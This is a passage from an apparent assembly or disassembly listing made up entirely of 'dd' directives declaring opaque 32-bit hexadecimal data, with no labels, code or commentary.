0C87C2166h, 715FB7C1h, 16B268F6h, 4EB80230h dd 124BB89Dh, 9C8257B9h, 0FC2FC22Bh, 0B7D52574h, 98DDA5AAh dd 2DC49D7Dh, 18510AB3h, 12A1A07h, 5C2CE9C2h, 0D94F872Ah dd 0AFB7621Fh, 6D25A656h dd 8779C12Fh, 0E0A33F41h, 43F4B57Bh, 0F9A976B5h, 92536A2Fh dd 2D664178h, 0BA514C72h, 0BBE1F598h, 0CCCD4A67h, 0BD130B63h dd 8AAA031Dh, 0B76A4A6Ah, 97B99E09h, 23C14982h, 0F9D1FF01h dd 6017C86Fh, 0FCC79F00h, 7203B922h, 0A4C22507h, 61115865h dd 0C39EAC5Eh, 0F990026Ah, 27401F82h, 2FFBA2B9h, 8D442AE3h dd 7E5C712h, 8ADFC8FAh, 0EFB6500h, 2933166h, 0BAED4E03h dd 90D80905h, 1516FEEh, 80B562FBh, 4A66DEF7h, 0E6DF8114h dd 0E925C204h, 638AB57h, 952B9059h, 6C78D27Bh, 0CCCB0798h dd 0F79C9654h, 0A3785BA1h, 2B782E41h, 7973120h, 0D5798DBFh dd 0B79D0414h, 0E2E60F44h, 0EA5856A1h, 0CB123850h, 0B18DDC8Ah dd 4173974h, 0A6A58EA8h, 0C629A31Bh, 23AD2D54h, 0FC447D51h dd 0E5202866h, 26A7D28h, 9C7ECB81h, 30F55A84h, 4191BDC9h dd 0ED46301Eh, 0B7B70976h, 7EF8AD5Ch, 48C73B06h, 2D86E0BFh dd 0AE511AF5h, 88531744h, 98002D23h, 0C6BA6462h, 7DA318h dd 0B6D26F43h, 8849124Eh, 44859912h, 8D08B2A8h, 0E44032E9h dd 12F0BB71h, 0B40A3454h, 8B8AE557h, 4152D6C8h, 6F1FFDBDh dd 0F93D7FF3h, 18799589h, 4425625Bh, 5F62009Fh, 0F37BF6F0h dd 9A26D391h, 0C425F7E8h, 69B70082h, 0A69D586Fh, 5F5FA92Dh dd 5912E0E2h, 4360AA12h, 2553A458h, 846287EEh, 2A5136C0h dd 15C82B80h, 0DFD59D31h, 0EBD18B12h, 0A805F88h, 76E953F3h dd 1C8B48E1h, 605F474Ch, 828031B8h, 4918AD4Fh, 0CD3B6120h dd 6F002A11h, 0DEEAB4BBh, 8410D720h, 4053FB13h, 13D49BFDh dd 0C72CE519h, 0AFB22A39h, 271A392h, 7213FBBh, 0ABB9604Ch dd 75919517h, 56F9121Bh, 6EB3C270h, 2A65C388h, 0CA214A74h dd 5BD31761h, 2BE8DDF9h, 57EC8BBFh, 0F3814637h, 15C13B34h dd 6678302Bh, 0BD0019BFh, 4962AEBBh, 0BAB8B978h, 7B9AB3E7h dd 682E40E8h, 0AAA51804h, 0A0FABF0Fh, 952A0121h, 6EEFC631h dd 7B1DB36Eh, 0EAC244B6h, 16910482h, 4EFCF2EFh, 0E004F6Ah dd 29B27892h, 899FA99Dh, 0F8CDDF21h, 272185A5h, 8ECBDEFBh dd 2377816Dh, 9E7E880Dh, 0F847C0ABh, 474B843h, 300698C1h dd 98B6EBFAh, 0B8154112h, 3EF31363h, 304BE8FCh, 0F1D3BB88h dd 0A8738428h, 511ED52Dh, 22F46B72h, 6D4900D4h, 91F2B45Bh dd 0E5BF7DBCh, 0FC88C415h, 75DBC191h, 302C602Ch, 0E4D51189h dd 1B5E03CEh, 0DC7FC3A6h, 0C5D681A0h, 213A3005h, 84BF2961h dd 5F38AAF4h, 9E6AE1B2h, 2CB08203h, 4060DC85h, 64C65EB8h dd 3719E00h, 0F608D9EAh, 8DDE0143h, 884117B6h, 0EF57C2B8h dd 5C8760DDh, 80EEB67Ch, 320B9524h, 1759B504h, 0E07474ABh dd 2974037Ch, 0B408C701h, 0E1FF04C5h, 2FB98A69h, 7DD10CB9h dd 0DD88ED07h, 0DE6193CFh, 33AB7400h, 0B798489Ah, 0ADB92564h dd 6D123AC5h, 3DC08AADh, 0EB5558F7h, 3200C6FAh, 35C98645h dd 8859BB5h, 67AB1D3Eh, 9F046358h, 0C241894Fh, 327C4EF3h dd 0E2D34212h, 93FD8E32h, 37A20AE7h, 6C99EF00h, 0DCCD9460h dd 45E05316h, 0C64A2BA8h, 3482980Fh, 7141C774h, 1FC35C5h dd 28C80051h, 211BEF4Bh, 52B5F5F7h, 800CB12Ch, 0D7BDF4C3h dd 0F209D964h, 723370C4h, 8201E811h, 9D9597Dh, 46D5D88Ah dd 0F9C95F0Ah, 0B4089399h, 0F8501229h, 0A8C09E25h, 43FAE3B8h dd 1DD30202h, 5B50BB6Eh, 5EE612D5h, 0AE6A93F8h, 9E00486Fh dd 63BDA868h, 9606F7BBh, 8A0F0BADh, 48DA98C9h, 222D9631h dd 0F0CB0A59h, 72F19D78h, 6040F4A5h, 0E1649F47h, 0A759D02h dd 5F0B0541h, 0B72025C4h, 40CE9D95h, 5F0244B5h, 0BC77ED58h dd 3B6904CBh, 0A83714A4h, 249BD01Ah, 62A5FDF9h, 4BCF5F29h dd 0F48F2160h, 0AE1E2769h, 0BB608256h, 15263A58h, 0A6F3E918h dd 9290F95Bh, 0BE4235BBh, 2DFF3CC4h, 0B27666F3h, 0B5E7D88Bh dd 0FA4BC450h, 0D88261BFh, 5D162E61h, 0E5C0579Eh, 11235A5Ch dd 7850F11h, 0F9BF5102h, 0F38EE85Bh, 0C96634C1h, 0A7F92B52h dd 820E0D3h, 0B6068980h, 9F886B7Ah, 0FAF9A788h, 6DF854h dd 0E95620E8h, 0E1FDBBAAh, 64181C27h, 1D1F0060h, 0A89D52C2h dd 0A3001798h, 396DE772h, 787CCE4Bh, 0BA8B088h, 760DA669h dd 56870A56h, 0F6795F51h, 2DF552B1h, 8DE10C6Eh, 1A2A662Eh dd 9F1FD29Fh, 13C08E4Dh, 7847CB01h, 6919136Ah, 0AC8DFA09h dd 5777C53Bh, 0F0DAA636h, 1766E54Ah, 0B83CFCBBh, 11B26A7h dd 0C8CC4A7Bh, 0E992FE5Bh, 0BF8805F4h, 0DA891259h, 60EB2137h dd 701D2E53h, 47CF8A4Eh, 121F61FCh, 4950C04h, 0D0119BEAh dd 0BFFFC462h, 0EF4B2ECBh, 9FD2704h, 0C5CD8002h, 450FC077h dd 9470822Eh, 0DB39BB13h, 124BB754h, 74AD2A5Dh, 9D2357C1h dd 5F582405h, 33526109h, 0CDE56BBDh, 23E07BFFh, 0C9CD1F15h dd 3359D88Bh, 0DEBF4744h, 617FC1BEh, 73608C94h, 0FA18D33Dh dd 9FC09Bh, 899326F9h, 0E7BF2120h, 0BF125EF5h, 0F52C4BCh dd 0DA88F4A2h, 0DE1BF4A5h, 0F06E639h, 0FC118CEFh, 0E2A1CC66h dd 5BA666h, 6A42D781h, 9D292B3Eh, 0B9BE21E2h, 0B9E351E9h dd 14918588h, 0B5BD0B50h, 0FE976D72h, 640BFE01h, 24579FCCh dd 20AED02Ch, 0A3FDB95Dh, 92A51000h, 611641DDh, 0BA80BF5Fh dd 52963BDAh, 0ED46D2BDh, 0E80FE3Ch, 79EDA472h, 23846C01h dd 35DE3B9Bh, 0EC319EE8h, 3766152Ch, 61857C25h, 0FE7AFB35h dd 0DC07EB4Fh, 75422B7Bh, 414D5514h, 0FA601BE4h, 96058E6Dh dd 0AD41E226h, 304208AAh, 84BF3572h, 0AC79FA11h, 6457C9D1h dd 4AC00E01h, 3F80F946h, 0EA890D1Ah, 0F88A0738h, 5A73E405h dd 0CA420970h, 563E13D3h, 0ACDFC4EBh, 0A7BB02E7h, 0FF6B5231h dd 51B526A1h, 0A25F0A2Ch, 0B89A002Ch, 644986C5h, 0C4044A1Bh dd 9770EBD8h, 17DD4553h, 0FDFF13EAh, 1849E836h, 0C6932F39h dd 0BC257AEBh, 103A7C50h, 9055811h, 140B6D8Dh, 0B3A2BF97h dd 75DBDD95h, 0B874D8h, 0AE2B540Fh, 853150D0h, 46F4894Ch dd 2B5F188Ah, 2D1F5D84h, 2B7492EDh, 781D94Bh, 0F0694517h dd 1D2B02Ch, 0E3EC9401h, 2D4CC4CEh, 0AEBD343Eh, 0CB9D33E3h dd 9EF6965Eh, 0EC372BDCh, 37FCA790h, 0E2A754EBh, 60563471h dd 44CC5149h, 9D33413Fh, 96002785h, 5073C6B7h, 0D39FC576h dd 0F3397104h, 845F809Bh, 136000E4h, 40D18D09h, 0F684BBD2h dd 614B2AD4h, 25BD4A98h, 0EA51314Dh, 0D4DE7C69h, 40D69325h dd 17541864h, 0F2830FF2h, 6C318096h, 0D411FCh, 0EC4B6757h dd 2379AA48h, 14E3E52h, 21A7BFFCh, 9C6A635Fh, 9285DA32h dd 0EC8DED69h, 58E1699Ch, 1C59EA53h, 36CFF019h, 0D4011200h dd 0BF8F9BC7h, 51110281h, 8D953141h, 0C613DC5Ch, 918419FDh dd 0F0F7BB8Ah, 0B3218612h, 15E6D3F2h, 258570A0h, 896F8302h dd 0D5232DBDh, 0C18B7930h, 1FF7BF3Eh, 38280918h, 46289D01h dd 3CB33F6Fh, 0FC39FD2Fh, 4287D0Eh, 0EFDCD65Ch, 5EB8A9A2h dd 977AAFh, 5DF7FBCh, 4672E19h, 1C60B68h, 6AC6E995h, 0FDEB056h dd 0C495EB64h, 210EC7EBh, 0D86A3024h, 0AB05F4DEh, 605F12DCh dd 0E8C58F01h, 207B071Fh, 0C4425D4Eh, 0A350C002h, 0C6ACD735h dd 453903F2h, 82862C5Bh, 8CF08893h, 5207735Ch, 5118F04h dd 5F38ECF1h, 0EECA66Eh, 29D87DE7h, 9B3D7029h, 50F17819h dd 0CA84CA39h, 0BC15CE88h, 0C76493Fh, 812A0769h, 0DB8006D8h dd 0E3F2226Dh, 0A7A6EB3Eh, 5583FE4Fh, 0AE9C6003h, 5C589283h dd 1846D63Ch dd 96673C02h, 9D57DDDh, 591E0938h, 9AD472Ah, 1F47DDEh dd 46F18902h, 0D895AE96h, 0CFA0B842h, 8701FB3Ah, 0E5C7800Ch dd 4A60026Ah, 9036010Ah, 0F3DA4CBFh, 8A5B6045h, 0E0557CB5h dd 0DDB05D52h, 37F9A709h, 70987B90h, 14C3E21h, 4A17C0BFh dd 132A83h, 0E5EAF73Fh, 5BFC2ECCh, 92B9454Eh, 4E8C14ACh dd 0FC4E3508h, 212322CBh, 0CFC70D4Ah, 6FBB1F95h, 0A81C013Ch dd 9D033B41h, 9D6A27D1h, 0E6B90075h, 0AC29018h, 0F15013A9h dd 41FC2D2Fh, 8FA444C0h, 590B01B1h, 0F529C55Dh, 1B3AA8CFh dd 5154B195h, 3B48E023h, 0F6AA4FA0h, 0EC51BD0Eh, 2BAFC1EEh dd 0F23FD67Bh, 2FF94B47h, 0D80022ECh, 0A8D05649h, 5F294E35h dd 89EAD08Dh, 84EA185h, 7D8429FFh, 2EBA8E9h, 0E761B0F1h dd 2246FF6Ah, 0AE13AB00h, 3F062128h, 8F5A0280h, 91F05017h dd 0F251E1C1h, 45A76FFDh, 3BA28Ch, 55EBA4F0h, 0F4F14DCh dd 7AA82F88h, 8B875320h, 105EA2B4h, 0AA3564BAh, 2F0F0872h dd 998D0BC2h, 61257D50h, 201258B0h, 0E6162D39h, 0E3C80170h dd 0A3715CE4h, 0A623B579h, 0DFE8529h, 0F8B7617Eh, 0AE954F53h dd 0B0B40A52h, 0C2DD8AD5h, 25A7560Eh, 23169F64h, 0DE9201BDh dd 10DFDEC1h, 0C4502534h, 5A16B090h, 0D58A221h, 0AF9D8531h dd 0EEF83Fh, 0D18BF9D9h, 3CDB81FCh, 32FC08D2h, 8A6D94E9h dd 4C506AE8h, 5A475525h, 53E89F5Eh, 519D810Fh, 891E6D9Fh dd 712425ABh, 0AA20927Dh, 6ABE9F70h, 70CC00A7h, 4E77DA2Bh dd 0ED1EF801h, 75ACF745h, 23094D11h, 1455BD9Dh, 880F1427h dd 8A8B9A0Bh, 8B098B44h, 0FF4D9059h, 36BC6A94h, 96ECB940h dd 0D8D402C4h, 573E53Bh, 0A6C8A25Ch, 0C318121h, 282E355Dh dd 6A418BA0h, 80D7FAD1h, 0B5C19D0Bh, 6A895A91h, 0EAB4DEF7h dd 692D9AA2h, 0F49D1F44h, 1D17A878h, 4FB35FDAh, 4A10C7B9h dd 9BAB6EC4h, 9CFB9641h, 0B12EB78Dh, 518FFFCh, 9508B3CFh dd 44BA1E91h, 48E6FF05h, 0A029F6D6h, 1D2DD7BCh, 0C5FD99D0h dd 0A6A20ADCh, 89B3E317h, 9BC02FD0h, 3E642F66h, 0D41B854h dd 0B1E4D15Dh, 4FA40404h, 8733E218h, 0B2494F4h, 20BFFF5Fh dd 4902D4AFh, 4BC0CDD7h, 0BB70BD6Ch, 0FEDCB701h, 8166455Ch dd 9575DA60h, 9D10516Ch, 3EE90A19h, 6C80F89Bh, 994790ACh dd 2F052A4Ch, 0F6E2F641h, 9E4BF772h, 7F228C8Ah, 0BD0680A6h dd 0BA37C50Bh, 2AED2776h, 0EA755492h, 3CF95FCFh, 0D43EB8FAh dd 47DA019Bh, 21BA5183h, 17E07F60h, 0A62A5A3Dh, 0E470F4E3h dd 4AEC221h, 2AD2FB09h, 0C425F953h, 9132B9Dh, 5971E14Fh dd 0A9533944h, 5EDFC200h, 514C5CF3h, 4EDE2A3Ch, 2F5EF3C1h dd 48282EF9h, 0B45F8BDAh, 9560CCB4h, 0C5755C92h, 4E9E03A1h dd 65A1302Ah, 3A4171B7h, 705B4F49h, 414DBF28h, 7C826BC4h dd 80D1A2B5h, 0C45BD7E1h, 12745D70h, 0EF6D4714h, 8331E29Ch dd 3BEE6DA7h, 0F2A47DF8h, 0E7EE005Ah, 617763D9h, 0FEAE4E1Ch dd 18591061h, 0E371AA05h, 0DD2AFBEBh, 0B48C6661h, 0A27B5FA5h dd 97274BACh, 26701A80h, 0A5109F68h, 0D73E627Dh, 8BE87B03h dd 0D1C84351h, 74806ADFh, 0F55C8828h, 2088083Fh, 0E27AC227h dd 0EDB571Ah, 84C31651h, 9A207C20h, 0FA01F82Ch, 0BBA0702Ch dd 0C0A46F9Dh, 0AAC6ACDAh, 0E37E8197h, 0C48822A3h, 0E9050A25h dd 68C801FDh, 0FE1F4AA1h, 97FE2E28h, 0D3552312h, 607270E2h dd 0B7869B07h, 0AE9AD812h, 0B52DA820h, 0E76FFCC4h, 3BF1A0F9h dd 194A18ECh, 891152B6h, 29602C0Ch, 20327908h, 0D1925F4h dd 0B72F0C54h, 2A9D035Bh, 2E5652Dh, 7268E797h, 0F8D15355h dd 715F9A72h, 1320EAF8h, 20F70A95h, 96250D11h, 0D8FD31FDh dd 0FA6FA42Eh, 37CCF782h, 0C39AD400h, 0EE29ACD3h, 2A323BFDh dd 0AD613600h, 4FF4259Ch, 10286841h, 0A22D2983h, 731DD6E0h dd 0F5AC3D5Ah, 3C5A27B7h, 0B7BF9604h, 69D30081h, 0E9EF4973h dd 1E6A412Ch, 69115D8Bh, 0A62ADE48h, 0F8BF002Eh, 0B1C1968h dd 0D98B245Eh, 1FE687BAh, 0FD6D9914h, 0B13CBEC0h, 4C1509DAh dd 2F1870ACh, 0AA142B60h, 4AF2757Ah, 0F7EE0AC4h, 57FA1BFh dd 5A26A26Ah, 0D81286D4h, 0B37B03C9h, 0A2C592E3h, 0E06BCCB5h dd 0B670EC09h, 0D390612Fh, 0A0F67051h, 64C4260Bh, 9085EB4h dd 5294153Dh, 75BD2309h, 4CF6A29h, 13B2D1C3h, 41774300h dd 0C03B5568h, 93976113h, 2AF939FEh, 0B74F3B28h, 1B60466Fh dd 9862E89Fh, 0E9D93D3Ch, 0B7FD4EE9h, 27678122h, 7A35DB80h dd 4251C0A3h, 0E4253A2Bh, 2A1B09AFh, 4FF41EF6h, 48BDED3Ah dd 18E0056Ah, 0FEF761A4h, 29FA9809h, 0BF261004h, 9C3519CEh dd 0B809BE79h, 734E560Ch, 0FB8503FBh, 301AF6Fh, 693E3906h dd 95E22EF0h, 1407A400h, 0C522B08h, 0D71C7809h, 0B91A5D0Dh dd 271091DCh, 0C7815F00h, 6BBC78E6h, 3BEEDB9Fh, 0FF099912h dd 0FC3E1C76h, 0E6F1B70Ah, 291ADF40h, 6B2EE348h, 271C2377h dd 1B6055D6h, 35290B7Dh, 0F8B7C9B5h, 8DE25E9Ch, 5083B880h dd 0B400F4ACh, 0F541DAC5h, 0F6A0D377h, 96FB2F8Bh, 6F13E8E1h dd 0A6F4BDF6h, 40E302D7h, 0D7579CB7h, 0FE1249FBh, 2F4395E7h dd 100975F0h, 0BC71EB33h, 0C5328FBBh, 47E5FF51h, 0A0328853h dd 12ECB542h, 42FB081h, 0F7806720h, 0A10997DCh, 80E83DD5h dd 0EDC475CFh, 597FB099h, 31148C02h, 0FF1FB185h, 6AF5E9B9h dd 6BA901FDh, 27838E60h, 859C4B1Eh, 0E1DDF6ADh, 7B28F07Ah dd 245BBD80h, 0B979845h, 5FCA09CFh, 1B4510CDh, 0CF358C60h dd 0F6982DD1h, 80579740h, 7FAAD325h, 0BB870B9Ah, 7FF60B4Dh dd 0B57C00FCh, 0E7E8CA5Ch, 0C595DBE3h, 0C0D150C6h, 0F8E2A702h dd 5C23ECD4h, 1846DCF3h, 329DCC00h, 0D781B80Ah, 0E66D6009h dd 0FEDE054Dh, 4889E1FAh, 750E8F9h, 573C4D1Eh, 90F600A6h dd 113AB85Bh, 5261E45Ch, 124A7596h, 0AA98A876h, 0ACB5CC09h dd 0B612982h, 0CB98BC55h, 719AD974h, 816FC575h, 0D667FCFAh dd 5F51F496h, 81427398h, 28875F76h, 0A23824E5h, 7C620A20h dd 8160735Ch, 976148F3h, 0FD42BF1Bh, 0C6F82514h, 25589881h dd 0CDFC1C45h, 0B7142571h, 0A3DB1243h, 1159D8FEh, 825F2A43h dd 0DD09060Ch, 96959464h, 62B30940h, 1C70F0E9h, 1DCE594h dd 836AB267h, 26C18B0Ah, 369F0FFh, 40E9BE60h, 0A936045Bh dd 2B1CA0FCh, 0AA41826Ah, 6FE0DD6Bh, 2DE4A8F0h, 0F0D48BB2h dd 0FA8C116h, 0A8D9B9E5h, 5994259Ch, 8B25FB76h, 116B7CCh dd 0C80E45EAh, 205A6C50h, 0C236D02Dh, 953FEF4Bh, 857C985Ah dd 0A08838D2h, 0DA560003h, 8FCFD3B4h, 87009432h, 931FA372h dd 5A88B510h, 29C3CC35h, 59D8D1Ah, 179B0295h, 259AF0F8h dd 0CB09EDBDh, 17F68454h, 48DD332h, 1E2775DCh, 30BE60D2h dd 0A1667EBCh, 3D4B2600h, 5B9A6442h, 61D6278Bh, 1C351FFFh dd 0B423817h, 3CF3280h, 9C29BD78h, 525D88F4h, 603CBB2Ch dd 910D8ADh, 1EFE1391h, 0D1F33B02h, 0F56A61F4h, 0D7A7B837h dd 0AF672525h, 0F6A438F6h, 610B279Fh, 0F26F2107h, 0C5858221h dd 571F3220h, 0D2E69380h, 976964A7h, 5744A814h, 0B7F6BD29h dd 5F026A89h, 1AC55EE7h, 0D1943A20h, 317EE897h, 95E0382Bh dd 8C041Fh, 9B101C99h, 0C62C8516h, 97CBAA2Ah, 4A61FA4Bh dd 55112CE5h, 4816C20Eh, 0B64A7321h, 51F1F07Eh, 2607F18h dd 4F871FE8h, 52F53147h, 8D614BF1h, 0BB086A59h, 0D7542512h dd 0B808F198h, 7465486Eh dd 0DBC105AAh, 4EA83419h, 7D3478Ah, 0F09DD59Bh, 0BF5632E7h dd 61F6C404h, 6EAB5F46h, 2D1C23D1h, 26F490D5h, 0BD665183h dd 0CA2A05C9h, 24FA4BD8h, 0DD71AA0Bh, 0E36F22A1h, 0D7B9F4C8h dd 2B435980h, 0A300210Fh, 0BFB93694h, 0D3CBB66h, 7D9531D2h dd 0E1C0306Fh, 84B5C09Ah, 29AB097Bh, 9C2CD2D7h, 0B0244039h dd 0F76B1BBCh, 70E67838h, 20FC4EBDh, 40B72919h, 9771E4CBh dd 0B840445Eh, 0E1ACCBh, 6048F295h, 0CDE8F011h, 855EA902h dd 0F377E4C3h, 2F8D896Dh, 0DA9BB17Fh, 2709EF08h, 846A1399h dd 0EAC28BADh, 3F410B04h, 1A610325h, 0F310D48h, 4B266356h dd 8B91692h, 199C098Ah, 60C1450Bh, 18418DAEh, 0D5F7882Ah dd 6788084Bh, 86EDF229h, 315C6063h, 67477F23h, 75619725h dd 77CED2D1h, 0E5800F22h, 5CA586B5h, 9E31181Ah, 4E494475h dd 0E14544C1h, 102BF1B5h, 3514D97Dh, 0BF70092Eh, 5154CEEEh dd 0E97E5FC8h, 2D42E6BEh, 0EB615C35h, 1D12E401h, 0E55FCE9Fh dd 9D290276h, 0D1162161h, 0BD0D5298h, 7F5D1199h, 5209DAB7h dd 54CD1F7Ah, 4B1D5CE9h, 2B9F55D8h, 6E6DD7F4h, 2BA430C0h dd 18E059Eh, 0FB062038h, 0C9D54B14h, 94CEDF49h, 225700BFh dd 4BF5B969h, 0A0C5E70Fh, 0E654E783h, 0BE6C50CCh, 0EBED1264h dd 2B97E12Eh, 25B893E9h, 539D5F09h, 0DA0981F1h, 6E6EFC68h dd 0A32204A1h, 11AE5FCFh, 3FBDDA1Dh, 9C3013C9h, 0CDD949B5h dd 0D22B5B00h, 98D38060h, 6FBE5100h, 5A477C9Eh, 0DB3F9761h dd 0E9921991h, 0A0FD19C4h, 1C634B70h, 0D14F0077h, 4DE6C418h dd 94DD8036h, 77894BC9h, 2E615D69h, 98EFB825h, 9D2F334Ah dd 8A7682E1h, 697A5CDCh, 0D1798558h, 0BF791597h, 894DFAADh dd 317FCEC0h, 0A2294A2Ah, 0B028002Ah, 5C40023Eh, 0E3A706E7h dd 0D6A1B51Bh, 98123120h, 459D1233h, 0E300B816h, 6E4D5E4Ch dd 8DEA6039h, 120AFC6Fh, 0FF29C9C2h, 4A1CB9D8h, 0CD31FE98h dd 742E1841h, 0C712AB66h, 0E1FF6CC0h, 48C609BBh, 41710213h dd 0B252C544h, 89D38836h, 1971FD8Ah, 0DEBA8E45h, 0C270C15Fh dd 0F9ECD4A7h, 0B9BC18EDh, 0E09EE095h, 5C9D092Dh, 0B96096F9h dd 138FB8CAh, 0BE42B6BEh, 4BACC534h, 0B929C44Ah, 6DB828h dd 39985A8Bh, 0D9415608h, 1C91354Bh, 5FC20165h, 907024FBh dd 0F9423ED0h, 0BEAC2C39h, 0A65089Ch, 0C220902Dh, 0E68003DBh dd 75F47B71h, 0C4BEADB8h, 0E1F73C05h, 52EE05EEh, 8864FE8Dh dd 2D98DEAh, 0C57F23AEh, 58E3A38Ah, 0DB00A52Bh, 0AF2CD23Dh dd 194A1CDDh, 68F898B3h, 9000C2B9h, 17FEBE60h, 0D81028B1h dd 614AD05Fh, 0DE600FC2h, 0D7AF6FEDh, 0E265FAB7h, 765AE0BEh dd 0F6DCEF00h, 2597738Fh, 5B39065Dh, 3CF22A60h, 0FBDD019Fh dd 3B8013E9h, 4736AA0Fh, 0A500112Fh, 202D6759h, 5608AE5h dd 0DA15E043h, 7DF0FEB1h, 68164069h, 0A0562F09h, 0F7129A55h dd 0B573DFC0h, 417D6901h, 4CE2F3B6h, 0C268883Ah, 48006CF8h dd 7243AA2Ah, 9521AB47h, 0D01C3352h, 0CEA4BF55h, 0C4CAFCA5h dd 0F8C74310h, 66DDE0C3h, 8B940786h, 0A31E0403h, 0FF85A9B7h dd 5C5EA9Dh, 6F01F511h, 0AA1F867Ah, 0C4D75D60h, 0B86FF974h dd 0AC29D19Eh, 127C9099h, 0AD28C995h, 8C16BCE1h, 0C49F0FBFh dd 0D0C2DECFh, 2DBC5C42h, 1EF65CDCh, 808A2970h, 0AB0B1B89h dd 0D0BA5305h, 2528D195h, 2EBFFDh, 3C4F0898h, 19026F50h dd 89B0B3D0h, 7017D306h, 2F070EE2h, 1FBF66DEh, 0C8F73399h dd 4B45FA80h, 0BDCE847Fh, 53AC4B1Fh, 0AF4DA981h, 78A26F94h dd 61939E02h, 0DD4283E0h, 0B7555489h, 0E736802Ah, 7BD3E0D1h dd 6561FE16h, 8CBE4613h, 6806F8BCh, 0BD01CF77h, 0E0FE5A9Eh dd 3416888Fh, 0D7F6431Dh, 0F6C035E3h, 9D2F3160h, 0C0295DB1h dd 1D5BFF7h, 820F36E2h, 3DED2E89h, 3C90902Fh, 0FE09A60Ch dd 0FD5017E6h, 0DB029B4Ch, 0F7809009h, 0BACD7FC2h, 295369h dd 9A12F958h, 93BA9491h, 614EB67Ch, 0D1E0D7B6h, 0BE12FFFEh dd 0FB009A26h, 0DAAA23C9h, 10D99617h, 0DC61271Bh, 550C6C16h dd 7EFE254Bh, 90D84F5Bh, 0B8C802C1h, 10616303h, 1E844062h dd 0F57EA0A2h, 0D0CE084Ah, 67474E37h, 600DBC8Dh, 0DE04CDA6h dd 7DD7CC9Ch, 0C58042ACh, 44331D16h, 5BFDE107h, 8471DD64h dd 48A76178h, 0D3F5B87Dh, 0DF93079Ch, 1FF46CC9h, 0A5182DABh dd 74952159h, 1385508Dh, 0DFFAF1BFh, 6058F62Bh, 78A50776h dd 0A03E6F9Fh, 0BD8B7B67h, 9510DD4Ah, 0C41D04E5h, 0C2B862FBh dd 0FB5766A2h, 364D101h, 16F09AF3h, 59283845h, 0DDDC89h dd 142CB1B0h, 33C05FDFh, 0ECCA80B3h, 9742E75Fh, 0C2B0E9F5h dd 0FFCA2CDFh, 1591D2B5h, 8B10F082h, 5DAA92D5h, 87254E0Bh dd 0ACCCBA56h, 2785B85Fh, 0AB77FE8Ah, 0C4F07EA8h, 0AAD4EF9Dh dd 39A0DCFBh, 0AEE92C5Bh, 80BE2DBDh, 77FC6A65h, 8B430BD0h dd 0BE82BBD8h, 1A612D0Fh, 3AD5C295h, 5DE4F3h, 4D63CF57h dd 0DC9C0ED1h, 17E9AD00h, 7413793Ah, 0A34978B2h, 0B7DD815Bh dd 0FF4DFAF3h, 1FD4F1B2h, 0D4294240h, 5BDD2D6Fh, 0F912D953h dd 0BF0357E3h, 91C014Fh, 469AFFE4h, 302B99D2h, 2000CC5Ch dd 1C870E0Ah, 655230D4h, 0A35B7666h, 0C2831664h, 4BF05CA6h dd 8E0ECD97h, 0A4D1BF36h, 6BB8291Ch, 7B02846h, 482582A8h dd 31321090h, 703E00AEh, 7F438DEDh, 640EF45Ch, 29C406E4h dd 70695CD2h, 5D02D68Fh, 0A416FAECh, 0F95D32C1h, 9EDA27B9h dd 48B2E317h, 26E9A605h, 23066FABh, 0E8911314h, 6415205Fh dd 0FF010E57h, 71AD1294h, 258C15ACh, 7CFEF0E2h, 0D530B7C2h dd 0F2D0F47Bh, 0E09F00A3h, 33A64BD1h, 94982327h, 90890552h dd 1A9913A2h, 212DE6A2h, 25C4B77Fh, 21ACD530h, 253623Ah dd 5C0D3FA9h, 51895CE2h, 0FB32A568h, 8BD07B97h, 0F20774D3h dd 41A19B51h, 14E89651h, 62CA9E10h, 69AE38h, 6785FA15h dd 9744C9h, 70EE92FCh, 0E9B07BBDh, 15F0C44h, 2AE769FFh dd 0D852360Fh, 0D6097CFCh, 0B256505Bh, 605C5675h, 0BB52965Fh dd 78F6FA0Fh, 9FB21539h, 0C2BE70Dh, 0C867DA7Fh, 0B09CB15h dd 974AE4FFh, 1759ADF3h, 16033718h, 0F4BF7D9Fh, 94444B76h dd 0E8DAB901h, 4963036Bh, 9529027Fh, 215E31AAh, 7CC26B71h dd 0F99DF479h, 985A4B1h, 385522ADh, 2680607Fh, 15C561CEh dd 70779A45h, 197395C6h, 1B1E778h, 65D24C13h, 3A0360B3h dd 0E6FE9085h, 736125E7h, 1814D9A7h, 20D490A8h, 0BB0505B9h dd 486FD70Dh, 7E0BC9FFh, 0B0C02EECh, 8B7833ECh, 0B073C156h dd 18A5A4Dh, 701E336Fh, 7DE9FA8Bh, 0A4450732h, 10A23FDh dd 39E930D6h, 815AA4ADh, 836AE200h, 0C533BD4Eh, 0FD770E14h dd 4800A37Eh, 0A2DC6FB0h, 0C8307B00h, 73FC7417h, 430D00DEh dd 10D86BB6h, 900033E4h, 16A19ABCh, 0EC94C36Ch, 0E7F808h dd 0D6518C6Dh, 14DF965Eh, 6AA5FD00h, 0FCA77EFAh, 0A36500D9h dd 354D598Dh, 0C000696h, 0B76890EFh, 9812A09Fh, 3ED300FAh dd 0CD76409Ch, 0A03AD62h, 2B8A7527h, 0AF3E00F9h, 5BD58087h dd 0C1007E93h, 0BC73A64Fh, 0C6B944h, 9B2BE43Dh, 0A754CC43h dd 0E9C57A00h, 0DE518873h, 0C875BCh, 6BAB6FF3h, 0F09344B0h dd 5FA6A000h, 0E39958Ah, 2EF30006h, 0C019E26Ch, 0B000774Fh dd 0C71ADF69h, 32FD848h, 0A31145FAh, 97BE8671h, 8CBBB300h dd 5F677ADAh, 0C60E00D8h, 0E5421552h, 3600CF33h, 0D3546C4Fh dd 459861h, 0DC62EA6h dd 0B0697312h, 7D7744CEh, 5C8EA9C0h, 4F019388h, 3FCA905Eh dd 2D0CE237h, 2E665562h, 89EA47h, 6D2623BCh, 0D0EC77D2h dd 8F82AA00h, 481E09CEh, 27C01808h, 1664E63h, 363FE08Bh dd 0AF3B00F3h, 0E4E3EE6Bh, 4C00856Eh, 0FC09FB34h, 1A6F629h dd 0F811DA74h, 80978453h, 39EE0474h, 9C037h, 2A1BE3CFh dd 9788A06Ah, 0F478B00h, 57F429D4h, 0BC51139Dh, 3B1C07EFh dd 0CE37B2E6h, 0B00441D7h, 451A9C8h, 130CC52Eh, 0FC2D8C83h dd 25F60400h, 22F17AEAh, 0F15E6079h, 7FB0C8E2h, 0BB768500h dd 1C770F27h, 82DA3FD2h, 15100FBh, 84CC5868h, 0C739935Ch dd 0A2FAA987h, 0E45DC15h, 0E02718C1h, 94649FF7h, 79B8484Bh dd 9845B500h, 5B8DCF40h, 0B66052h, 0E66ED9D5h, 57C811h dd 40FF12DDh, 39F62BD0h, 